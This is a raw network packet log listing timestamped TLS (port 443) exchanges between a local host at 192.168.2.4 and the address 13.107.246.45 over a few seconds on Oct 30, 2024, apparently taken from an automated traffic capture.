Oct 30, 2024 02:28:06.528856039 CET	443	49823	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:06.528925896 CET	49823	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:06.529033899 CET	49823	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:06.529050112 CET	443	49823	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:07.090692043 CET	443	49819	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:07.091285944 CET	49819	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:07.091296911 CET	443	49819	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:07.091654062 CET	49819	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:07.091659069 CET	443	49819	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:07.108664036 CET	443	49820	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:07.108949900 CET	49820	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:07.108966112 CET	443	49820	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:07.109265089 CET	49820	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:07.109272003 CET	443	49820	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:07.183044910 CET	443	49821	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:07.183415890 CET	49821	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:07.183474064 CET	443	49821	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:07.183770895 CET	49821	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:07.183789015 CET	443	49821	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:07.220777988 CET	443	49819	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:07.220948935 CET	443	49819	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:07.221003056 CET	49819	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:07.221041918 CET	49819	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:07.221048117 CET	443	49819	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:07.221060991 CET	49819	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:07.221064091 CET	443	49819	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:07.223361969 CET	49824	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:07.223388910 CET	443	49824	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:07.223463058 CET	49824	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:07.223709106 CET	49824	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:07.223716974 CET	443	49824	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:07.238511086 CET	443	49820	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:07.238799095 CET	443	49820	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:07.238862991 CET	49820	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:07.238893986 CET	49820	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:07.238903999 CET	443	49820	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:07.238914013 CET	49820	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:07.238918066 CET	443	49820	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:07.240787029 CET	49825	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:07.240811110 CET	443	49825	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:07.240876913 CET	49825	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:07.240984917 CET	49825	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:07.240997076 CET	443	49825	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:07.277276039 CET	443	49823	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:07.277729034 CET	49823	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:07.277770996 CET	443	49823	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:07.278080940 CET	49823	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:07.278091908 CET	443	49823	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:07.279788971 CET	443	49822	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:07.280039072 CET	49822	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:07.280056000 CET	443	49822	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:07.280359030 CET	49822	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:07.280364037 CET	443	49822	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:07.312249899 CET	443	49821	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:07.312499046 CET	443	49821	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:07.312693119 CET	49821	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:07.312693119 CET	49821	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:07.312693119 CET	49821	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:07.315087080 CET	49826	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:07.315126896 CET	443	49826	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:07.315201044 CET	49826	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:07.315490007 CET	49826	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:07.315500975 CET	443	49826	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:07.408365965 CET	443	49823	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:07.408534050 CET	443	49823	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:07.408613920 CET	49823	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:07.408798933 CET	49823	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:07.408833027 CET	443	49823	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:07.408859968 CET	49823	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:07.408874035 CET	443	49823	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:07.411041975 CET	443	49822	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:07.411195040 CET	443	49822	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:07.411262035 CET	49822	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:07.411281109 CET	49827	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:07.411293983 CET	443	49827	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:07.411354065 CET	49827	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:07.411439896 CET	49822	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:07.411439896 CET	49822	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:07.411451101 CET	443	49822	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:07.411458015 CET	443	49822	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:07.412266016 CET	49827	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:07.412278891 CET	443	49827	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:07.413311958 CET	49828	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:07.413347006 CET	443	49828	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:07.413424015 CET	49828	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:07.413531065 CET	49828	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:07.413542032 CET	443	49828	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:07.627765894 CET	49821	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:07.627813101 CET	443	49821	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:07.966357946 CET	443	49824	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:07.966875076 CET	49824	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:07.966888905 CET	443	49824	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:07.967319965 CET	49824	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:07.967324972 CET	443	49824	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:07.979732037 CET	443	49825	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:07.980092049 CET	49825	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:07.980103016 CET	443	49825	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:07.980489016 CET	49825	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:07.980494022 CET	443	49825	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.069487095 CET	443	49826	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.069974899 CET	49826	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:08.069989920 CET	443	49826	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.070386887 CET	49826	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:08.070390940 CET	443	49826	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.099571943 CET	443	49824	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.099931955 CET	443	49824	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.099992037 CET	49824	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:08.100013018 CET	49824	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:08.100025892 CET	443	49824	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.100033998 CET	49824	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:08.100038052 CET	443	49824	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.102391005 CET	49829	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:08.102422953 CET	443	49829	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.102488041 CET	49829	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:08.102605104 CET	49829	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:08.102616072 CET	443	49829	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.111650944 CET	443	49825	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.111804962 CET	443	49825	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.111910105 CET	49825	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:08.111931086 CET	49825	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:08.111938000 CET	443	49825	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.111949921 CET	49825	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:08.111953974 CET	443	49825	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.113778114 CET	49830	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:08.113809109 CET	443	49830	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.113873005 CET	49830	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:08.113989115 CET	49830	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:08.114000082 CET	443	49830	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.165065050 CET	443	49828	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.165441990 CET	49828	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:08.165460110 CET	443	49828	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.165837049 CET	49828	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:08.165841103 CET	443	49828	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.190361023 CET	443	49827	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.190721989 CET	49827	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:08.190737009 CET	443	49827	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.191090107 CET	49827	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:08.191095114 CET	443	49827	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.199547052 CET	443	49826	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.199759960 CET	443	49826	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.199822903 CET	49826	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:08.199842930 CET	49826	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:08.199852943 CET	443	49826	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.199862003 CET	49826	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:08.199866056 CET	443	49826	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.201783895 CET	49831	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:08.201795101 CET	443	49831	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.201874971 CET	49831	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:08.202003956 CET	49831	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:08.202016115 CET	443	49831	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.296185970 CET	443	49828	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.296346903 CET	443	49828	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.296437979 CET	49828	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:08.296478987 CET	49828	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:08.296492100 CET	443	49828	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.296513081 CET	49828	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:08.296518087 CET	443	49828	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.298749924 CET	49832	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:08.298826933 CET	443	49832	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.298913956 CET	49832	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:08.299067020 CET	49832	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:08.299099922 CET	443	49832	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.329149008 CET	443	49827	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.329305887 CET	443	49827	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.329387903 CET	49827	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:08.329494953 CET	49827	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:08.329499960 CET	443	49827	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.329509020 CET	49827	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:08.329513073 CET	443	49827	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.331671000 CET	49833	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:08.331695080 CET	443	49833	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.331783056 CET	49833	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:08.331881046 CET	49833	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:08.331892967 CET	443	49833	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.840338945 CET	443	49829	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.840879917 CET	49829	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:08.840900898 CET	443	49829	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.841308117 CET	49829	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:08.841314077 CET	443	49829	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.853425980 CET	443	49830	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.853801966 CET	49830	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:08.853816032 CET	443	49830	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.854171991 CET	49830	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:08.854176998 CET	443	49830	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.966278076 CET	443	49831	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.966669083 CET	49831	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:08.966696024 CET	443	49831	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.967134953 CET	49831	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:08.967140913 CET	443	49831	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.970469952 CET	443	49829	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.970643044 CET	443	49829	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.970711946 CET	49829	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:08.970732927 CET	49829	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:08.970746040 CET	443	49829	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.970753908 CET	49829	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:08.970757961 CET	443	49829	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.973119974 CET	49834	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:08.973210096 CET	443	49834	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.973303080 CET	49834	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:08.973427057 CET	49834	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:08.973462105 CET	443	49834	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.982906103 CET	443	49830	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.983043909 CET	443	49830	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.983129978 CET	49830	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:08.983175039 CET	49830	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:08.983195066 CET	443	49830	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.983206034 CET	49830	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:08.983212948 CET	443	49830	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.984932899 CET	49835	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:08.984962940 CET	443	49835	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:08.985029936 CET	49835	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:08.985141039 CET	49835	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:08.985156059 CET	443	49835	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:09.049510002 CET	443	49832	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:09.050100088 CET	49832	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:09.050138950 CET	443	49832	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:09.050626040 CET	49832	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:09.050637007 CET	443	49832	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:09.066023111 CET	443	49833	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:09.066337109 CET	49833	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:09.066366911 CET	443	49833	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:09.066715002 CET	49833	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:09.066719055 CET	443	49833	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:09.097783089 CET	443	49831	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:09.097945929 CET	443	49831	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:09.098026991 CET	49831	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:09.098107100 CET	49831	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:09.098117113 CET	443	49831	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:09.098129988 CET	49831	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:09.098134041 CET	443	49831	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:09.100637913 CET	49836	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:09.100665092 CET	443	49836	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:09.100840092 CET	49836	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:09.100892067 CET	49836	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:09.100899935 CET	443	49836	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:09.179747105 CET	443	49832	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:09.179896116 CET	443	49832	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:09.179980993 CET	49832	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:09.179981947 CET	49832	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:09.179981947 CET	49832	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:09.182606936 CET	49837	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:09.182651997 CET	443	49837	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:09.182719946 CET	49837	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:09.182893991 CET	49837	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:09.182914019 CET	443	49837	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:09.197550058 CET	443	49833	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:09.197707891 CET	443	49833	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:09.197767973 CET	49833	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:09.197808981 CET	49833	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:09.197823048 CET	443	49833	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:09.197833061 CET	49833	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:09.197838068 CET	443	49833	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:09.199616909 CET	49838	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:09.199632883 CET	443	49838	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:09.199698925 CET	49838	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:09.199819088 CET	49838	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:09.199831963 CET	443	49838	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:09.487174988 CET	49832	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:09.487243891 CET	443	49832	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:09.698698997 CET	443	49834	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:09.699126005 CET	49834	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:09.699151993 CET	443	49834	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:09.699568987 CET	49834	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:09.699582100 CET	443	49834	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:09.720786095 CET	443	49835	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:09.721204042 CET	49835	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:09.721218109 CET	443	49835	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:09.721739054 CET	49835	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:09.721744061 CET	443	49835	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:09.826339960 CET	443	49834	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:09.826572895 CET	443	49834	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:09.826704979 CET	49834	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:09.826929092 CET	49834	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:09.826956034 CET	443	49834	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:09.827003002 CET	49834	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:09.827018023 CET	443	49834	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:09.830153942 CET	49839	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:09.830230951 CET	443	49839	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:09.830349922 CET	49839	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:09.830549955 CET	49839	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:09.830585957 CET	443	49839	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:09.850462914 CET	443	49836	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:09.850879908 CET	49836	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:09.850899935 CET	443	49836	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:09.851234913 CET	443	49835	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:09.851248980 CET	49836	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:09.851254940 CET	443	49836	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:09.851527929 CET	443	49835	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:09.851594925 CET	49835	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:09.851655006 CET	49835	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:09.851666927 CET	443	49835	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:09.851677895 CET	49835	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:09.851684093 CET	443	49835	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:09.853867054 CET	49840	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:09.853879929 CET	443	49840	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:09.853959084 CET	49840	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:09.854108095 CET	49840	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:09.854120970 CET	443	49840	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:09.943752050 CET	443	49837	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:09.944186926 CET	49837	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:09.944221020 CET	443	49837	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:09.944593906 CET	49837	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:09.944607973 CET	443	49837	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:09.984148979 CET	443	49836	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:09.984282017 CET	443	49836	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:09.984416962 CET	49836	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:09.984607935 CET	49836	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:09.984617949 CET	443	49836	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:09.984628916 CET	49836	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:09.984632969 CET	443	49836	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:09.987032890 CET	49841	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:09.987081051 CET	443	49841	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:09.987189054 CET	49841	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:09.987416029 CET	49841	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:09.987443924 CET	443	49841	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:10.074795008 CET	443	49837	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:10.074955940 CET	443	49837	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:10.075048923 CET	49837	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:10.075192928 CET	49837	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:10.075227022 CET	443	49837	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:10.075254917 CET	49837	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:10.075268984 CET	443	49837	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:10.078185081 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:10.078197956 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:10.078300953 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:10.078514099 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:10.078526020 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:10.636109114 CET	443	49840	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:10.636626005 CET	49840	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:10.636637926 CET	443	49840	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:10.637073994 CET	49840	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:10.637079000 CET	443	49840	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:10.718997002 CET	443	49841	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:10.719639063 CET	49841	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:10.719679117 CET	443	49841	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:10.719933033 CET	49841	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:10.719947100 CET	443	49841	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:10.804738998 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:10.805207968 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:10.805227995 CET	443	49842	13.107.246.45	192.168.2.4
